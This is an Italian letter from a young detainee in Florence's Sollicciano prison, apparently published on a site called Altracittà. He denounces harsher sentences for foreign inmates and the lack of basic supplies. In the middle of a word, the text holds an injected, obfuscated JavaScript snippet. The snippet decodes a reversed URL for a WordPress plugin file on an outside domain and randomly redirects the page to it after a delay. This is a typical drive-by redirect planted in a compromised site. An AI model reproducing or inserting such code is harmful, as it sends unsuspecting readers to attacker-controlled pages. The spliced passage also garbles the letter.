Il carcere: l'altra faccia della medaglia

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Cari amici dell’Altracittà, chi vi scrive è un ragazzo di 24 anni che si trova detenuto nel carcere di Firenze. Appunto l’altra faccia della medaglia. Io credo che un carcere di qualunque paese rispecchi il paese stesso. Venerdì 9 agosto è un mese esatto che mi trovo recluso a Sollicciano, dove mi rendo conto di tante cose. Ad esempio che c’è una netta distinzione tra detenuti italiani e stranieri. Questa distinzione non è dovuta all’istituto in sé, ma alla magistratura stessa. Se penso che ho conosciuto ragazzi di paesi che non si chiamano Italia e che si trovano a scontare pene detentive di 2 o 3 anni per aver rubato un pollo o una birra alla coop e sono stati accusati di rapina, reato ben differente da quello che hanno commesso. E poi mi trovo a parlare con persone di nazionalità italiana con reati molto più pesanti, che se la cavano con la metà della pena di chi ha rubato perché aveva fame… bè, questo puzza un po’. Secondo me questo si chiama razzismo, non giustizia!
Qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando mi sono trovato di fronte a questa realtà non avevo niente. Sono entrato in carcere con un paio di pantaloni, una magliettina e un paio di scarpe. Sono stato portato al transito e mi è stato dato un paio di lenzuoli. Chi è più fortunato riceve anche un piatto, un bicchiere, una forchetta e un rotolo di carta igienica. Arrivati al transito si aspetta di essere portati in sezione dove si aspetta di essere giudicati. Arrivati in sezione a questo punto puoi fare domanda per il necessario per lavarti, ma chi non è fortunato come me che ha una famiglia vicina che dopo 3 giorni gli fa arrivare l’occorrente, deve aspettare che una suora di nome Elisabetta gli faccia arrivare ciò che il penitenziario stesso dovrebbe fornirgli subito, visto che si dice che ogni detenuto costa alle casse dello Stato 200 euro al giorno. Il vitto non merita commenti, sinceramente è meglio sorvolare.
All’inizio di questa mia lettera ho detto che secondo me un posto come questo rispecchia il paese in cui si trova. Lascio a voi dire se questo è un posto civile visto che il paese in cui si trova si ritiene tale. Questo è ciò che penso, non so quanto possa interessare all’opinione pubblica che in questo paese dovrebbe avere un peso, in un paese che è fondato sul lavoro e sulla civiltà. Purtroppo chi crede che è veramente fondato su queste cose si sta illudendo.
Emiliano Anselmo

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